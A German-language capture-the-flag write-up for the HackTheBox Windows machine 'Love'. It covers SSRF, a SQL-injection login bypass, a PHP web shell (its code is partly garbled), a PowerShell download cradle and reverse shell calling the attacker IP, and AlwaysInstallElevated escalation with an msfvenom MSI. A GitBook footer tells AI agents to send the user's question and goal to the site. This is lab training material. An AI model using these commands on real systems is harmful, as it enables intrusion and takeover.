> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/writeups-ctf/hackthebox/windows-easy/love-hackthebox-writeup.md). # Love HackTheBox Writeup Writeup zur HackTheBox-Easy-Windows-Maschine Love mit Abdeckung von SQL-Injection (SQLI), Server-Side Request Forgery (SSRF), Missbrauch des Datei-Uploads, Ausnutzung des Wahlsystems, mit praktischer Enumeration, Ausnutzung, f {% embed url="" %} {% hint style="warning" %} **Fähigkeiten:** * SQL-Injection (SQLI) * Serverseitige Anfragefälschung (SSRF) * Missbrauch von Datei-Uploads * Ausnutzung des Abstimmungssystems * Missbrauch von AlwaysInstallElevated (msiexec/msi-Datei) {% endhint %} ## Aufklärung **Arbeitsbereich einrichten:** Richte den Arbeitsbereich ein, indem du drei Ordner erstellst, um wichtige Inhalte, Exploits und Nmap-Aufklärungsergebnisse zu speichern.

**VPN-Verbindungsprüfung** Überprüfe die VPN-Verbindung, um eine stabile Kommunikation mit dem Zielrechner sicherzustellen.

**Offene Ports mit Nmap erkennen:** Erkunden offener Ports und Exportieren in der "allPorts"-Datei im Nmap-Verzeichnis: ```bash nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.10.10.239 -oG allPorts ```

**Analyse offener Ports mit extractport:** Verwendung der extractport-Funktion, um offene Ports in kompakter Form anzuzeigen und sie in die Zwischenablage zu kopieren.

**Versionsscan von Ports mit Nmap:** Verwendung von Nmap, um die Versionen der Ports zu scannen und Informationen in der Datei "targeted" zu extrahieren: ```bash nmap -sCV -p80,135,139,443,445,3306,5000,5040,5985,5986,7680,47001,49664,49665,49666,49667,49668,49669,49670 10.10.10.239 -oN targeted ```

Um Domainnamen über DNS in IP-Adressen aufzulösen, wird der mit der IP-Adresse verknüpfte Domainname in die `/etc/hosts` Datei

**Suche nach Verzeichnissen:** Wir verwenden Gobuster, um auf der Website nach Verzeichnissen zu suchen: ```bash gobuster dir -u http://love.htb -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 100 ```

In dem `admin` Verzeichnis, wir entdecken ein Verwaltungsportal.

## Ausnutzung des Abstimmungssystems: In diesem Fall gibt es zwei Möglichkeiten, das Verwaltungspanel des Abstimmungssystems zu bedienen: ### 1. SSRF-Schwachstelle: Port 443 offenbart ein `staging.love.htb` Subdomain, die wir zu unserer `/etc/hosts` Datei vorhanden sind.

Diese Website kann Websites über eine URL scannen.

Durch Scannen `localhost:5000` (von außen nicht verfügbar), entdecken wir Zugangsdaten: `admin: @LoveIsInTheAir!!!!`

Hinweis: Von außen wird die Meldung "Sie haben keine Berechtigung, auf diese Ressource zuzugreifen." angezeigt, wodurch der Zugriff blockiert wird.

### **2. SQL-Injection-Schwachstelle (**[**SQLi**](/de/web/sql-injection.md)**) :** Mit `searchsploit` wir suchen nach spezifischen Schwachstellen des Abstimmungssystems und finden die folgende Nutzlast:

`login=yea&password=admin&username=dsfgdf' UNION SELECT 1,2,"$2y$12$jRwyQyXnktvFrlryHNEhXOeKQYX7/5VK2ZdfB9f/GcJLuPahJWZ9K",4,5,6,7 from INFORMATION_SCHEMA.SCHEMATA;-- -` Mit Burp Suite greifen wir auf das Dashboard zu.

## Schwachstelle Datei-Upload: Im Dashboard gibt es eine Option, mit der Sie einen neuen Benutzer erstellen können. Wir erstellen eine `cmd.php` Datei, um Befehle auf dem Server auszuführen:

```bash " . shell_exec($_REQUEST['cmd']) . ""; ?> ```

Das Panel führt keine Sicherheitsprüfungen durch, sodass wir Befehle einschleusen können (z. B. `whoami`). Durch das Testen eines Ping-Befehls prüfen wir die Verbindung:

wir prüfen, ob es einen Ping

ping 10.10.14.10
tcpdump -i tun0 icmp

Da wir die Antwort erhalten, bestätigen wir die Möglichkeit, Befehle auf der Zielmaschine auszuführen

**PowerShell-Befehl für eine Reverse Shell** Sobald wir sehen, dass wir Befehle ausführen können, werden wir das `PS.ps1` Skript auf unseren Rechner herunterladen. {% embed url="" %} Am Ende des Skripts fügen wir die folgende Zeile hinzu: ```bash Invoke-PowerShellTcp -Reverse -IPAddress 10.10.14.10 -Port 4444 ```

Wir werden einen Webserver mit dem `PS.ps1` Script ```bash python3 -m http.server 80 ``` Dann werden wir den Befehl so ändern, dass er auf unseren Webserver verweist: {% code overflow="wrap" %} ```bash powershell "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.10/PS.ps1')" ``` {% endcode %} Schließlich lauschen wir auf Port 4444: ```bash rlwrap nc -nlvp 4444 ```

### Flagge user.txt:

## Privilegieneskalation: ### **Enumeration mit winPEASx64.exe** Um eine Privilegieneskalation auf einem Windows-Server durchzuführen, führen Sie zunächst das `winPEAS` Aufklärungstool aus. {% embed url="" %} Herunterladen des Aufklärungstools WIN-peacex64.exe. ```purebasic certutil.exe -f -urlcache -split http://10.10.14.10/winPEASx64.exe winPeas.exe ```

```powershell ./winPEAS.exe ```

### Prüfen von AlwaysInstallElevated Das `winPEAS` Das Tool überprüft verschiedene Sicherheitsinstellungen des Systems. Besonders interessant ist der `AlwaysInstallElevated` Registrierungsschlüssel. Wenn dieser Schlüssel auf `1` in `HKLM` (HKEY/ LOCAL/ MACHINE) gesetzt ist, bedeutet dies, dass alle `.msi` Dateien mit erhöhten Rechten installiert werden können, was eine Schwachstelle darstellt.

{% embed url="" %} **Erstellen Sie eine .msi-Datei, um eine Reverse Shell zu erhalten** Um diese Schwachstelle auszunutzen, erstellen wir eine `.msi` Datei, die uns nach der Ausführung eine Reverse Shell bereitstellt. Wir verwenden `msfvenom` zum Generieren dieser Datei: ```bash msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.14.10 LPORT=443 --platform windows -a x64 -f msi -o reverse.msi ``` **Übertragung der .msi-Datei**/ Datei Nachdem wir die Datei erstellt haben, müssen wir sie auf die Zielmaschine übertragen: ```bash certutil.exe -f -urlcache -split http://10.10.14.10/reverse.msi reverse.msi ```

**Auf Port 443 lauschen**/ Bevor wir die `.msi` Datei ausführen, müssen wir an dem von uns angegebenen Port lauschen. Lassen Sie uns `nc` (netcat) dafür verwenden: ```powershell rlwrap nc -nlvp 443 ``` **Ausführung des Installationsbefehls**/ Schließlich führen wir die `.msi` Datei mit `msiexec`, wodurch die stille Installation ausgelöst wird: ```powershell msiexec /quiet /qn /i reverse.msi ```

### Root-Flag :)

--- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation by asking a question. Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters: ``` GET https://hacking-notes.jord4n.pro/de/writeups-ctf/hackthebox/windows-easy/love-hackthebox-writeup.md?ask=&goal= ``` `ask` is the immediate question: it should be specific, self-contained, and written in natural language. `goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.